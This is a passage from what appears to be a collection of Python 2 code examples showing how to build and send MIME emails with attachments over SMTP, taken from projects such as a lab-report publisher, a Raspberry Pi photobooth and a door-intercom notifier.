    full_body = body.substitute(host=host_name.upper(),
                                notify_text=text,
                                application=os.path.basename(__file__))

    message.attach(MIMEText(full_body))

    for f in attachments:
        part = MIMEBase('application', 'octet-stream')
        part.set_payload(open(f, 'rb').read())
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition',
                        'attachment; filename="%s"' % os.path.basename(f))
        message.attach(part)

    addresses = []
    for x in to:
        addresses.append(x)
    for x in cc:
        addresses.append(x)
    for x in bcc:
        addresses.append(x)

    smtp = smtplib.SMTP(smtphost)
    smtp.sendmail(fromaddr, addresses, message.as_string())
    smtp.close()

    return True
Пример #33
0
    def message(self):
        from ..utils import get_attachment_filename_from_url, replace_cid_and_change_headers

        to = anyjson.loads(self.to)
        cc = anyjson.loads(self.cc)
        bcc = anyjson.loads(self.bcc)

        if self.send_from.from_name:
            # Add account name to From header if one is available
            from_email = '"%s" <%s>' % (Header(
                u'%s' % self.send_from.from_name,
                'utf-8'), self.send_from.email_address)
        else:
            # Otherwise only add the email address
            from_email = self.send_from.email_address

        html, text, inline_headers = replace_cid_and_change_headers(
            self.body, self.original_message_id)

        email_message = SafeMIMEMultipart('related')
        email_message['Subject'] = self.subject
        email_message['From'] = from_email

        if to:
            email_message['To'] = ','.join(list(to))
        if cc:
            email_message['cc'] = ','.join(list(cc))
        if bcc:
            email_message['bcc'] = ','.join(list(bcc))

        email_message_alternative = SafeMIMEMultipart('alternative')
        email_message.attach(email_message_alternative)

        email_message_text = SafeMIMEText(text, 'plain', 'utf-8')
        email_message_alternative.attach(email_message_text)

        email_message_html = SafeMIMEText(html, 'html', 'utf-8')
        email_message_alternative.attach(email_message_html)

        for attachment in self.attachments.all():
            if attachment.inline:
                continue

            try:
                storage_file = default_storage._open(
                    attachment.attachment.name)
            except IOError:
                logger.exception('Couldn\'t get attachment, not sending %s' %
                                 self.id)
                return False

            filename = get_attachment_filename_from_url(
                attachment.attachment.name)

            storage_file.open()
            content = storage_file.read()
            storage_file.close()

            content_type, encoding = mimetypes.guess_type(filename)
            if content_type is None or encoding is not None:
                content_type = 'application/octet-stream'
            main_type, sub_type = content_type.split('/', 1)

            if main_type == 'text':
                msg = MIMEText(content, _subtype=sub_type)
            elif main_type == 'image':
                msg = MIMEImage(content, _subtype=sub_type)
            elif main_type == 'audio':
                msg = MIMEAudio(content, _subtype=sub_type)
            else:
                msg = MIMEBase(main_type, sub_type)
                msg.set_payload(content)
                Encoders.encode_base64(msg)

            msg.add_header('Content-Disposition',
                           'attachment',
                           filename=os.path.basename(filename))

            email_message.attach(msg)

        # Add the inline attachments to email message header
        for inline_header in inline_headers:
            main_type, sub_type = inline_header['content-type'].split('/', 1)
            if main_type == 'image':
                msg = MIMEImage(inline_header['content'],
                                _subtype=sub_type,
                                name=os.path.basename(
                                    inline_header['content-filename']))
                msg.add_header('Content-Disposition',
                               inline_header['content-disposition'],
                               filename=os.path.basename(
                                   inline_header['content-filename']))
                msg.add_header('Content-ID', inline_header['content-id'])

                email_message.attach(msg)

        return email_message
Пример #34
0
            if (client["os"]) == "Slingbox":
                avery_status.write(network["name"] + ", " +
                                   str(client["lastSeen"] + "\n"))
        except TypeError:
            error_status.write(network["name"] + "\n")
            #pass

msg = MIMEMultipart()
msg['Subject'] = 'Current connection status of Avery Guns'
msg['From'] = me
#used when sending email to groups vs a single user.
#msg['To'] = ', '.join(you1)
msg['To'] = you1

part = MIMEBase('application', "octet-stream")
part.set_payload(open("avery_status.csv", "rb").read())
Encoders.encode_base64(part)

part.add_header('Content-Disposition',
                'attachment; filename="avery_status.csv"')

msg.attach(part)

# Send the message via our own SMTP server, but don't include the
# envelope header.
s = smtplib.SMTP(email_server)
s.sendmail(me, you1, msg.as_string())
s.quit()
avery_status.close
error_status.close
Пример #35
0
def send_mail(config,
              frm_addr,
              to_addr,
              Subject,
              text,
              headers=None,
              files=[],
              html_body=False,
              **kw):
    """
    sending a mail using and without using SSL.
    config is a dictionary that have key, value pairs to connect mail server. We can get config dictionary from UE_config file. 
    
    frm_addr - (string) id from which we send mails
    to_addr  - (string or list) all the to addresses to send mail
    kw - In keywords you can give cc and bcc also.
    headers - It will have all the extra headers to add to mail
    """
    #In headers we send type of data, cc, Subjects
    if headers is None: headers = {}

    #with Default settings it works without using SSL and without login.
    server = config.get('server')
    port = config.get('port', 25)
    startSSL = config.get('startSSL', False)
    startTLS = config.get('startTLS', False)
    username = config.get('username', None)
    password = config.get('password', None)
    cc = kw.get('cc', [])
    bcc = kw.get('bcc', [])

    def listify(x):
        if not isinstance(x, list):
            return [x]
        return x

    #Here are all the recepients.
    cc = listify(cc)
    bcc = listify(bcc)
    to_addr = listify(to_addr)
    recipients = to_addr + cc + bcc

    frm_addr = str(frm_addr)

    files = listify(files)

    #Here are the headers to send message..
    if cc:
        headers['Cc'] = ", ".join(cc)

    headers = dictadd(
        {
            'MIME-Version': '1.0',
            'Content-Type': 'text/plain; charset=UTF-8',
            'Content-Disposition': 'inline',
            'From': frm_addr,
            'To': ", ".join(to_addr),
            'Subject': Subject
        }, headers)

    #parsing the to and from addresses
    import email.Utils
    from_address = email.Utils.parseaddr(frm_addr)[1]
    recipients = [email.Utils.parseaddr(r)[1] for r in recipients]

    #Creating a message to send from server
    message = MIMEMultipart()
    for k, v in headers.items():
        message.add_header(k, v)

    if html_body == True:
        txt_msg = MIMEText(text, 'html', 'UTF-8')
    else:
        txt_msg = MIMEText(text, 'plain', 'UTF-8')
    message.attach(txt_msg)
    #message.attach(MIMEText(text))

    for f in files:
        part = MIMEBase('application', "octet-stream")
        part.set_payload(open(f).read())
        Encoders.encode_base64(part)
        part.add_header('Content-Disposition',
                        'attachment; filename="%s"' % os.path.basename(f))
        message.attach(part)

    #making a connection with server
    if startSSL:
        con = smtplib.SMTP_SSL(server, port)
    else:
        con = smtplib.SMTP(server)
    if startTLS:
        con.starttls()

    # Logging into server
    if username and password:
        con.login(username, password)

    #Now we are ready to send the data..
    con.sendmail(from_address, recipients, message.as_string())

    #Closing the connection
    con.quit()
Пример #36
0
def render_email(from_email,
                 to,
                 subject,
                 text_template=None,
                 html_template=None,
                 cc=None,
                 attachments=None,
                 **context):
    """
    Read the templates for email messages, format them, construct
    the email from them and return the corresponding email message
    object.

    :param from_email: Email From
    :param to: Email IDs of direct recepients
    :param subject: Email subject
    :param text_template: <Text email template path>
    :param html_template: <HTML email template path>
    :param cc: Email IDs of Cc recepients
    :param attachments: A dict of filename:string as key value pair
                        [preferable file buffer streams]
    :param context: Context to be sent to template rendering

    :return: Email multipart instance or Text/HTML part
    """
    if not (text_template or html_template):
        raise Exception("Atleast HTML or TEXT template is required")

    # Create the body of the message (a plain-text and an HTML version).
    # text is your plain-text email
    # html is your html version of the email
    # if the reciever is able to view html emails then only the html
    # email will be displayed
    if attachments:
        msg = MIMEMultipart('mixed')
    else:
        msg = MIMEMultipart('alternative')
    if text_template:
        if isinstance(text_template, Template):
            text = text_template.render(**context)
        else:
            text = unicode(render_template(text_template, **context))
        text_part = MIMEText(text.encode("utf-8"), 'plain', _charset="UTF-8")
        msg.attach(text_part)
    if html_template:
        if isinstance(html_template, Template):
            html = html_template.render(**context)
        else:
            html = unicode(render_template(html_template, **context))
        html_part = MIMEText(html.encode("utf-8"), 'html', _charset="UTF-8")
        msg.attach(html_part)

    if text_template and not (html_template or attachments):
        msg = text_part
    elif html_template and not (text_template or attachments):
        msg = html_part

    if attachments:
        for filename, content in attachments.items():
            part = MIMEBase('application', "octet-stream")
            part.set_payload(content)
            Encoders.encode_base64(part)
            # XXX: Filename might have to be encoded with utf-8,
            # i.e., part's encoding or with email's encoding
            part.add_header('Content-Disposition',
                            'attachment; filename="%s"' % filename)
            msg.attach(part)

    # We need to use Header objects here instead of just assigning the strings
    # in order to get our headers properly encoded (with QP).
    msg['Subject'] = Header(subject)
    msg['From'] = Header(from_email)
    msg['To'] = Header(to)
    if cc:
        msg['Cc'] = Header(cc)

    return msg
Пример #37
0
    def __call__(self):

        rc = getToolByName(self.context, REFERENCE_CATALOG)
        workflow = getToolByName(self.context, 'portal_workflow')

        BatchEmail = self.context.bika_setup.getBatchEmail()

        username = self.context.portal_membership.getAuthenticatedMember(
        ).getUserName()
        self.reporter = self.user_fullname(username)
        self.reporter_email = self.user_email(username)

        # signature image
        self.reporter_signature = ""
        c = [
            x for x in self.bika_setup_catalog(portal_type='LabContact')
            if x.getObject().getUsername() == username
        ]
        if c:
            sf = c[0].getObject().getSignature()
            if sf:
                self.reporter_signature = sf.absolute_url() + "/Signature"

        # lab address
        self.laboratory = laboratory = self.context.bika_setup.laboratory
        self.lab_address = "<br/>".join(laboratory.getPrintAddress())

        # group/publish analysis requests by contact
        ARs_by_contact = {}
        for ar in self.analysis_requests:
            contact_uid = ar.getContact().UID()
            if contact_uid not in ARs_by_contact:
                ARs_by_contact[contact_uid] = []
            ARs_by_contact[contact_uid].append(ar)

        for contact_uid, ars in ARs_by_contact.items():
            ars.sort()
            self.contact = ars[0].getContact()
            self.pub_pref = self.contact.getPublicationPreference()
            batch_size = 'email' in self.pub_pref and BatchEmail or 5

            # client address
            self.client = ars[0].aq_parent
            self.client_address = "<br/>".join(self.client.getPrintAddress())

            self.Footer = self.context.bika_setup.getResultFooter()

            # send batches of ARs to each contact
            for b in range(0, len(ars), batch_size):
                self.batch = ars[b:b + batch_size]
                self.any_accredited = False
                self.any_drymatter = False
                # get all services from all requests in this batch into a
                # dictionary:
                #   {'Point Of Capture': {'Category': [service,service,...]}}
                self.services = {}

                out_fn = "_".join([ar.Title() for ar in self.batch])

                for ar in self.batch:
                    if ar.getReportDryMatter():
                        self.any_drymatter = True
                    states = ("verified", "published")
                    for analysis in ar.getAnalyses(full_objects=True,
                                                   review_state=states):
                        service = analysis.getService()
                        poc = POINTS_OF_CAPTURE.getValue(
                            service.getPointOfCapture())
                        cat = service.getCategoryTitle()
                        if poc not in self.services:
                            self.services[poc] = {}
                        if cat not in self.services[poc]:
                            self.services[poc][cat] = []
                        if service not in self.services[poc][cat]:
                            self.services[poc][cat].append(service)
                        if (service.getAccredited()):
                            self.any_accredited = True

                # compose and send email
                if 'email' in self.pub_pref:

                    # render template
                    ar_results = self.ar_results()
                    ar_results = safe_unicode(ar_results).encode('utf-8')

                    debug_mode = App.config.getConfiguration().debug_mode
                    if debug_mode:
                        open(
                            join(Globals.INSTANCE_HOME, 'var',
                                 out_fn + ".html"), "w").write(ar_results)

                    ramdisk = StringIO()
                    pdf = createPdf(ar_results, ramdisk)
                    pdf_data = ramdisk.getvalue()
                    ramdisk.close()

                    if debug_mode:
                        open(
                            join(Globals.INSTANCE_HOME, 'var',
                                 out_fn + ".pdf"), "wb").write(pdf_data)

                    mime_msg = MIMEMultipart('related')
                    mime_msg['Subject'] = self.get_mail_subject()
                    mime_msg['From'] = formataddr(
                        (encode_header(laboratory.getName()),
                         laboratory.getEmailAddress()))
                    mime_msg['To'] = formataddr(
                        (encode_header(self.contact.getFullname()),
                         self.contact.getEmailAddress()))
                    mime_msg.preamble = 'This is a multi-part MIME message.'
                    msg_txt = MIMEText(ar_results, _subtype='html')
                    mime_msg.attach(msg_txt)
                    if not pdf.err:
                        part = MIMEBase('application', "application/pdf")
                        part.add_header(
                            'Content-Disposition',
                            'attachment; filename="%s.pdf"' % out_fn)
                        part.set_payload(pdf_data)
                        Encoders.encode_base64(part)
                        mime_msg.attach(part)

                    try:
                        host = getToolByName(self.context, 'MailHost')
                        host.send(mime_msg.as_string(), immediate=True)
                    except SMTPServerDisconnected, msg:
                        if not debug_mode:
                            raise SMTPServerDisconnected(msg)
                    except SMTPRecipientsRefused, msg:
                        raise WorkflowException(str(msg))

                    if self.action == 'publish':
                        for ar in self.batch:
                            try:
                                workflow.doActionFor(ar, 'publish')
                            except WorkflowException:
                                pass

##                    if not pdf.err:
##                        setheader = self.request.RESPONSE.setHeader
##                        setheader('Content-Type', 'application/pdf')
##                        setheader("Content-Disposition", "attachment;filename=\"%s.pdf\"" % out_fn)
##                        self.request.RESPONSE.write(pdf_data)

                else:
                    raise Exception, "XXX pub_pref %s" % self.pub_pref
def start_photobooth():
    ################################# Begin Step 1 #################################
    print "Get Ready"
    camera = picamera.PiCamera()
    camera.resolution = (
        500, 375
    )  #use a smaller size to process faster, and tumblr will only take up to 500 pixels wide for animated gifs
    camera.vflip = True
    camera.hflip = True
    camera.saturation = -100
    camera.start_preview()
    i = 1  #iterate the blink of the light in prep, also gives a little time for the camera to warm up
    while i < prep_delay:
        GPIO.output(led1_pin, True)
        sleep(.5)
        GPIO.output(led1_pin, False)
        sleep(.5)
        i += 1
    ################################# Begin Step 2 #################################
    print "Taking pics"
    now = time.strftime(
        "%Y%m%d%H%M%S"
    )  #get the current date and time for the start of the filename
    try:  #take the photos
        for i, filename in enumerate(
                camera.capture_continuous(file_path + now + '-' +
                                          '{counter:02d}.jpg')):
            GPIO.output(led2_pin, True)  #turn on the LED
            print(filename)
            sleep(0.25)  #pause the LED on for just a bit
            GPIO.output(led2_pin, False)  #turn off the LED
            sleep(capture_delay)  # pause in-between shots
            if i == total_pics - 1:
                break
    finally:
        camera.stop_preview()
        camera.close()
    ########################### Begin Step 3 #################################
    print "Creating an animated gif"
    GPIO.output(led3_pin, True)  #turn on the LED
    graphicsmagick = "gm convert -delay " + str(
        gif_delay
    ) + " " + file_path + now + "*.jpg " + file_path + now + ".gif"
    os.system(graphicsmagick)  #make the .gif
    print "Uploading to tumblr. Please check " + tumblr_blog + " soon."
    connected = is_connected(
    )  #check to see if you have an internet connection
    while connected:
        try:
            msg = MIMEMultipart()
            msg['Subject'] = "Photo Booth " + now
            msg['From'] = addr_from
            msg['To'] = addr_to
            file_to_upload = file_path + now + ".gif"
            print file_to_upload
            fp = open(file_to_upload, 'rb')
            part = MIMEBase('image', 'gif')
            part.set_payload(fp.read())
            Encoders.encode_base64(part)
            part.add_header(
                'Content-Disposition',
                'attachment; filename="%s"' % os.path.basename(file_to_upload))
            fp.close()
            msg.attach(part)
            server = smtplib.SMTP('smtp.gmail.com:587')
            server.starttls()
            server.login(user_name, password)
            server.sendmail(msg['From'], msg['To'], msg.as_string())
            server.quit()
            break
        except ValueError:
            print "Oops. No internect connection. Upload later."
            try:  #make a text file as a note to upload the .gif later
                file = open(file_path + now + "-FILENOTUPLOADED.txt",
                            'w')  # Trying to create a new file or open one
                file.close()
            except:
                print('Something went wrong. Could not write file.')
                sys.exit(0)  # quit Python
    GPIO.output(led3_pin, False)  #turn off the LED
    ########################### Begin Step 4 #################################
    GPIO.output(led4_pin, True)  #turn on the LED
    try:
        display_pics(now)
    except Exception, e:
        tb = sys.exc_info()[2]
        traceback.print_exception(e.__class__, e, tb)
Пример #39
0
def fire_action_mail(smtp_to, smtp_subject, smtp_text, smtp_snapshot):
    try:
        smtp_host = doorpi.DoorPi().config.get('SMTP', 'server',
                                               'smtp.gmail.com')
        smtp_port = doorpi.DoorPi().config.get_int('SMTP', 'port', 465)
        smtp_user = doorpi.DoorPi().config.get('SMTP', 'username')
        smtp_password = doorpi.DoorPi().config.get('SMTP', 'password')
        smtp_from = doorpi.DoorPi().config.get('SMTP', 'from')

        smtp_use_tls = doorpi.DoorPi().config.get_boolean(
            'SMTP', 'use_tls', False)
        smtp_use_ssl = doorpi.DoorPi().config.get_boolean(
            'SMTP', 'use_ssl', True)
        smtp_need_login = doorpi.DoorPi().config.get_boolean(
            'SMTP', 'need_login', True)

        smtp_tolist = smtp_to.split()

        email_signature = doorpi.DoorPi().config.get_string_parsed(
            'SMTP', 'signature', '!EPILOG!')

        if smtp_use_ssl:
            server = smtplib.SMTP_SSL(smtp_host, smtp_port)
        else:
            server = smtplib.SMTP(smtp_host, smtp_port)

        server.ehlo()
        if smtp_use_tls and not smtp_use_ssl:
            server.starttls()
        if smtp_need_login:
            server.login(smtp_user, smtp_password)

        msg = MIMEMultipart()
        msg['From'] = smtp_from
        msg['To'] = COMMASPACE.join(smtp_tolist)
        msg['Subject'] = doorpi.DoorPi().parse_string(smtp_subject)
        msg.attach(MIMEText(doorpi.DoorPi().parse_string(smtp_text), 'html'))
        if email_signature and len(email_signature) > 0:
            msg.attach(
                MIMEText('\nsent by:\n' + doorpi.DoorPi().epilog, 'plain'))

        if smtp_snapshot:
            smtp_snapshot = doorpi.DoorPi().parse_string(smtp_snapshot)
            if not os.path.exists(smtp_snapshot):
                smtp_snapshot = get_last_snapshot()

        try:
            with open(smtp_snapshot, "rb") as snapshot_file:
                part = MIMEBase('application', "octet-stream")
                part.set_payload(snapshot_file.read())
                Encoders.encode_base64(part)
                part.add_header(
                    'Content-Disposition', 'attachment; filename="%s"' %
                    os.path.basename(smtp_snapshot))
                msg.attach(part)
        except Exception as exp:
            logger.exception("send not attachment for this mail: %s" % exp)

        server.sendmail(smtp_from, smtp_tolist, msg.as_string())
        server.quit()
    except:
        logger.exception("couldn't send email")
        return False
    return True
Пример #40
0
 def add_attachment(self, filepath):
     attachment = MIMEBase('application', 'octet-stream')
     attachment.set_payload(open(filepath, 'rb').read())
     Encoders.encode_base64(attachment)
     attachment.add_header('Content-Disposition', 'attachment; filename="{filename}"'.format(filename=os.path.basename(filepath)))
     self.attachments.append(attachment)
Пример #41
0
def render_email(from_email,
                 to,
                 subject,
                 text_template=None,
                 html_template=None,
                 cc=None,
                 attachments=None,
                 **context):
    """
    Read the templates for email messages, format them, construct
    the email from them and return the corresponding email message
    object.

    :param from_email: Email From
    :param to: Email IDs of direct recepients
    :param subject: Email subject
    :param text_template: <Text email template path>
    :param html_template: <HTML email template path>
    :param cc: Email IDs of Cc recepients
    :param attachments: A dict of filename:string as key value pair
                        [preferable file buffer streams]
    :param context: Context to be sent to template rendering

    :return: Email multipart instance or Text/HTML part
    """
    if not (text_template or html_template):
        raise Exception("Atleast HTML or TEXT template is required")

    text_part = None
    if text_template:
        if isinstance(text_template, Template):
            text = text_template.render(**context)
        else:
            text = unicode(render_template(text_template, **context))
        text_part = MIMEText(text.encode("utf-8"), 'plain', _charset="UTF-8")

    html_part = None
    if html_template:
        if isinstance(html_template, Template):
            html = html_template.render(**context)
        else:
            html = unicode(render_template(html_template, **context))
        html_part = MIMEText(html.encode("utf-8"), 'html', _charset="UTF-8")

    if text_part and html_part:
        # Construct an alternative part since both the HTML and Text Parts
        # exist.
        message = MIMEMultipart('alternative')
        message.attach(text_part)
        message.attach(html_part)
    else:
        # only one part exists, so use that as the message body.
        message = text_part or html_part

    if attachments:
        # If an attachment exists, the MimeType should be mixed and the
        # message body should just be another part of it.
        message_with_attachments = MIMEMultipart('mixed')

        # Set the message body as the first part
        message_with_attachments.attach(message)

        # Now the message _with_attachments itself becomes the message
        message = message_with_attachments

        for filename, content in attachments.items():
            part = MIMEBase('application', "octet-stream")
            part.set_payload(content)
            Encoders.encode_base64(part)
            # XXX: Filename might have to be encoded with utf-8,
            # i.e., part's encoding or with email's encoding
            part.add_header('Content-Disposition',
                            'attachment; filename="%s"' % filename)
            message.attach(part)

    if isinstance(to, (list, tuple)):
        to = ', '.join(to)

    # We need to use Header objects here instead of just assigning the strings
    # in order to get our headers properly encoded (with QP).
    message['Subject'] = Header(unicode(subject), 'ISO-8859-1')
    message['From'] = Header(unicode(from_email), 'ISO-8859-1')
    message['To'] = Header(unicode(to), 'ISO-8859-1')
    if cc:
        message['Cc'] = Header(unicode(cc), 'ISO-8859-1')

    return message
Пример #42
0
    def get_mail_text(self, fields, request, context):
        """Get header and body of e-mail as text (string)
        """
        headerinfo = self.get_header_info(fields, request, context)
        body = self.get_mail_body(fields, request, context)
        if not isinstance(body, unicode):
            body = unicode(body, 'UTF-8')
        email_charset = 'utf-8'
        # always use text/plain for encrypted bodies
        subtype = getattr(
            self, 'gpg_keyid', False) and 'plain' or self.body_type or 'html'
        mime_text = MIMEText(body.encode(email_charset, 'replace'),
                             _subtype=subtype, _charset=email_charset)

        attachments = self.get_attachments(fields, request)

        if attachments:
            outer = MIMEMultipart()
            outer.attach(mime_text)
        else:
            outer = mime_text

        # write header
        for key, value in headerinfo.items():
            outer[key] = value

        # write additional header
        additional_headers = self.additional_headers or []
        for a in additional_headers:
            key, value = a.split(':', 1)
            outer.add_header(key, value.strip())

        for attachment in attachments:
            filename = attachment[0]
            ctype = attachment[1]
            # encoding = attachment[2]
            content = attachment[3]

            if ctype is None:
                ctype = 'application/octet-stream'

            maintype, subtype = ctype.split('/', 1)

            if maintype == 'text':
                msg = MIMEText(content, _subtype=subtype)
            elif maintype == 'image':
                msg = MIMEImage(content, _subtype=subtype)
            elif maintype == 'audio':
                msg = MIMEAudio(content, _subtype=subtype)
            else:
                msg = MIMEBase(maintype, subtype)
                msg.set_payload(content)
                # Encode the payload using Base64
                Encoders.encode_base64(msg)

            # Set the filename parameter
            msg.add_header(
                'Content-Disposition', 'attachment', filename=filename)
            outer.attach(msg)

        return outer.as_string()
Пример #43
0
msg['Reply-To'] = fro
msg['Date'] = formatdate(localtime=True)
msg['Subject'] = "Advising Meeting CONFIRMED"  #+ dtstart
msg['From'] = fro
msg['To'] = ",".join(attendees)

# part_email = MIMEText(eml_body.encode("ISO-8859-1"),"plain", "ISO-8859-1")
part_email = MIMEText(eml_body, "plain")
part_cal = MIMEText(ical, 'calendar;method=REQUEST')

msgAlternative = MIMEMultipart('alternative')
msg.attach(msgAlternative)

ical_atch = MIMEBase('application/ics', ' ;name="%s"' % ("invite.ics"))
ical_atch.set_payload(ical)
Encoders.encode_base64(ical_atch)
ical_atch.add_header('Content-Disposition',
                     'attachment; filename="%s"' % ("invite.ics"))

eml_atch = MIMEBase('text/plain', '')
Encoders.encode_base64(eml_atch)
eml_atch.add_header('Content-Transfer-Encoding', "")

msgAlternative.attach(part_email)
msgAlternative.attach(part_cal)

# mailServer = smtplib.SMTP('smtp.gmail.com', 587)
mailServer = smtplib.SMTP('mail.engr.oregonstate.edu', 587)
# mailServer.ehlo()
# mailServer.starttls()
# mailServer.ehlo()
Пример #44
0
smtpObj = smtplib.SMTP('m.outlook.com', 587)
smtpObj.ehlo()
smtpObj.starttls()
smtpObj.login(user, password)

#write email
to = [str(recipient)]
bcc = [user]
tos = to + bcc
fromAddr = user
subject = "Open records request"
text = "To whom it may concern:\n\nPlease find attached a request under public records law. If you have any questions or concerns, please email me at" + str(user) + ".\n\nThank you,\n\n" +str(name) + "\n" +str(organization) + "\n" + str(user)
emailMsg = MIMEMultipart()
body = MIMEText(text, 'plain')
emailMsg['Subject'] = subject
emailMsg['From'] = fromAddr
emailMsg['To'] = ', '.join(to)
emailMsg['Bcc'] = ", ".join(bcc)
emailMsg.attach(body)

#attach file
fileMsg = MIMEBase('application','pdf')
fileMsg.set_payload(file(str(filepath)).read())
Encoders.encode_base64(fileMsg)
fileMsg.add_header('Content-Disposition','attachment;filename=' + str(filename))
emailMsg.attach(fileMsg)

#send email and log out of SMTP server
smtpObj.sendmail(fromAddr, tos, emailMsg.as_string())
smtpObj.quit()
Пример #45
0
def forge_email(fromaddr,
                toaddr,
                subject,
                content,
                html_content='',
                html_images=None,
                usebcc=False,
                header=None,
                footer=None,
                html_header=None,
                html_footer=None,
                ln=CFG_SITE_LANG,
                charset=None,
                replytoaddr="",
                attachments=None,
                bccaddr=""):
    """Prepare email. Add header and footer if needed.
    @param fromaddr: [string] sender
    @param toaddr: [string or list-of-strings] list of receivers (if string, then
                   receivers are separated by ',')
    @param usebcc: [bool] True for using Bcc in place of To
    @param subject: [string] subject of the email
    @param content: [string] content of the email
    @param html_content: [string] html version of the email
    @param html_images: [dict] dictionary of image id, image path
    @param header: [string] None for the default header
    @param footer: [string] None for the default footer
    @param ln: language
    @charset: [string] the content charset. By default is None which means
    to try to encode the email as ascii, then latin1 then utf-8.
    @param replytoaddr: [string or list-of-strings] to be used for the
                        reply-to header of the email (if string, then
                        receivers are separated by ',')
    @param attachments: list of paths of files to be attached. Alternatively,
        every element of the list could be a tuple: (filename, mimetype)
    @param bccaddr: [string or list-of-strings] to be used for BCC header of the email
                    (if string, then receivers are separated by ',')
    @return: forged email as a string"""
    if html_images is None:
        html_images = {}

    if header is None:
        content = email_header(ln) + content
    else:
        content = header + content
    if footer is None:
        content += email_footer(ln)
    else:
        content += footer

    if charset is None:
        (content, content_charset) = guess_minimum_encoding(content)
    else:
        content_charset = charset

    subject = get_mail_header(subject)
    fromaddr = get_mail_header(fromaddr)
    toaddr = get_mail_header(toaddr)
    replytoaddr = get_mail_header(replytoaddr)
    bccaddr = get_mail_header(bccaddr)

    toaddr = remove_temporary_emails(toaddr)

    if html_content:
        if html_header is None:
            html_content = email_html_header(ln) + html_content
        else:
            html_content = html_header + html_content
        if html_footer is None:
            html_content += email_html_footer(ln)
        else:
            html_content += html_footer

        if charset is None:
            (html_content,
             html_content_charset) = guess_minimum_encoding(html_content)
        else:
            html_content_charset = charset

        msg_root = MIMEMultipart('alternative')
        msg_root.preamble = 'This is a multi-part message in MIME format.'

        msg_text = MIMEText(content, _charset=content_charset)
        msg_root.attach(msg_text)

        msg_text = MIMEText(html_content,
                            'html',
                            _charset=html_content_charset)
        if not html_images:
            # No image? Attach the HTML to the root
            msg_root.attach(msg_text)
        else:
            # Image(s)? Attach the HTML and image(s) as children of a
            # "related" block
            msg_related = MIMEMultipart('related')
            msg_related.attach(msg_text)
            for image_id, image_path in html_images.iteritems():
                msg_image = MIMEImage(open(image_path, 'rb').read())
                msg_image.add_header('Content-ID', '<%s>' % image_id)
                msg_image.add_header('Content-Disposition',
                                     'attachment',
                                     filename=os.path.split(image_path)[1])
                msg_related.attach(msg_image)
            msg_root.attach(msg_related)
    else:
        msg_root = MIMEText(content, _charset=content_charset)

    if attachments:
        from invenio.bibdocfile import _mimes, guess_format_from_url
        old_msg_root = msg_root
        msg_root = MIMEMultipart()
        msg_root.attach(old_msg_root)
        for attachment in attachments:
            try:
                if type(attachment) in (list, tuple):
                    attachment, mime = attachment
                if mime is None:
                    ## Automatic guessing of mimetype
                    mime = _mimes.guess_type(attachment)[0]
                if mime is None:
                    ext = guess_format_from_url(attachment)
                    mime = _mimes.guess_type("foo" + ext)[0]
                if not mime:
                    mime = 'application/octet-stream'
                part = MIMEBase(*mime.split('/', 1))
                part.set_payload(open(attachment, 'rb').read())
                Encoders.encode_base64(part)
                part.add_header(
                    'Content-Disposition',
                    'attachment; filename="%s"' % os.path.basename(attachment))
                msg_root.attach(part)
            except:
                register_exception(alert_admin=True,
                                   prefix="Can't attach %s" % attachment)

    msg_root['From'] = fromaddr
    if replytoaddr:
        msg_root['Reply-To'] = replytoaddr
    if usebcc:
        msg_root['Bcc'] = toaddr
        msg_root['To'] = 'Undisclosed.Recipients:'
        if bccaddr:
            msg_root['Bcc'] += ",%s" % (bccaddr, )
    else:
        msg_root['To'] = toaddr
        if bccaddr:
            msg_root['Bcc'] = bccaddr
    msg_root['Date'] = formatdate(localtime=True)
    msg_root['Subject'] = subject
    msg_root['User-Agent'] = 'Invenio %s at %s' % (CFG_VERSION, CFG_SITE_URL)
    return msg_root.as_string()
Пример #46
0
    def build_email(self,
                    email_from,
                    email_to,
                    subject,
                    body,
                    email_cc=None,
                    email_bcc=None,
                    reply_to=False,
                    attachments=None,
                    message_id=None,
                    references=None,
                    object_id=False,
                    subtype='plain',
                    headers=None,
                    body_alternative=None,
                    subtype_alternative='plain'):
        """Constructs an RFC2822 email.message.Message object based on the keyword arguments passed, and returns it.

           :param string email_from: sender email address
           :param list email_to: list of recipient addresses (to be joined with commas) 
           :param string subject: email subject (no pre-encoding/quoting necessary)
           :param string body: email body, of the type ``subtype`` (by default, plaintext).
                               If html subtype is used, the message will be automatically converted
                               to plaintext and wrapped in multipart/alternative, unless an explicit
                               ``body_alternative`` version is passed.
           :param string body_alternative: optional alternative body, of the type specified in ``subtype_alternative``
           :param string reply_to: optional value of Reply-To header
           :param string object_id: optional tracking identifier, to be included in the message-id for
                                    recognizing replies. Suggested format for object-id is "res_id-model",
                                    e.g. "12345-crm.lead".
           :param string subtype: optional mime subtype for the text body (usually 'plain' or 'html'),
                                  must match the format of the ``body`` parameter. Default is 'plain',
                                  making the content part of the mail "text/plain".
           :param string subtype_alternative: optional mime subtype of ``body_alternative`` (usually 'plain'
                                              or 'html'). Default is 'plain'.
           :param list attachments: list of (filename, filecontents) pairs, where filecontents is a string
                                    containing the bytes of the attachment
           :param list email_cc: optional list of string values for CC header (to be joined with commas)
           :param list email_bcc: optional list of string values for BCC header (to be joined with commas)
           :param dict headers: optional map of headers to set on the outgoing mail (may override the
                                other headers, including Subject, Reply-To, Message-Id, etc.)
           :rtype: email.message.Message (usually MIMEMultipart)
           :return: the new RFC2822 email message
        """
        email_from = email_from or tools.config.get('email_from')
        assert email_from, "You must either provide a sender address explicitly or configure "\
                           "a global sender address in the server configuration or with the "\
                           "--email-from startup parameter."

        # Note: we must force all strings to to 8-bit utf-8 when crafting message,
        #       or use encode_header() for headers, which does it automatically.

        headers = headers or {}  # need valid dict later

        if not email_cc: email_cc = []
        if not email_bcc: email_bcc = []
        if not body: body = u''

        email_body_utf8 = ustr(body).encode('utf-8')
        email_text_part = MIMEText(email_body_utf8,
                                   _subtype=subtype,
                                   _charset='utf-8')
        msg = MIMEMultipart()

        if not message_id:
            if object_id:
                message_id = tools.generate_tracking_message_id(object_id)
            else:
                message_id = make_msgid()
        msg['Message-Id'] = encode_header(message_id)
        if references:
            msg['references'] = encode_header(references)
        msg['Subject'] = encode_header(subject)
        msg['From'] = encode_rfc2822_address_header(email_from)
        del msg['Reply-To']
        if reply_to:
            msg['Reply-To'] = encode_rfc2822_address_header(reply_to)
        else:
            msg['Reply-To'] = msg['From']
        msg['To'] = encode_rfc2822_address_header(COMMASPACE.join(email_to))
        if email_cc:
            msg['Cc'] = encode_rfc2822_address_header(
                COMMASPACE.join(email_cc))
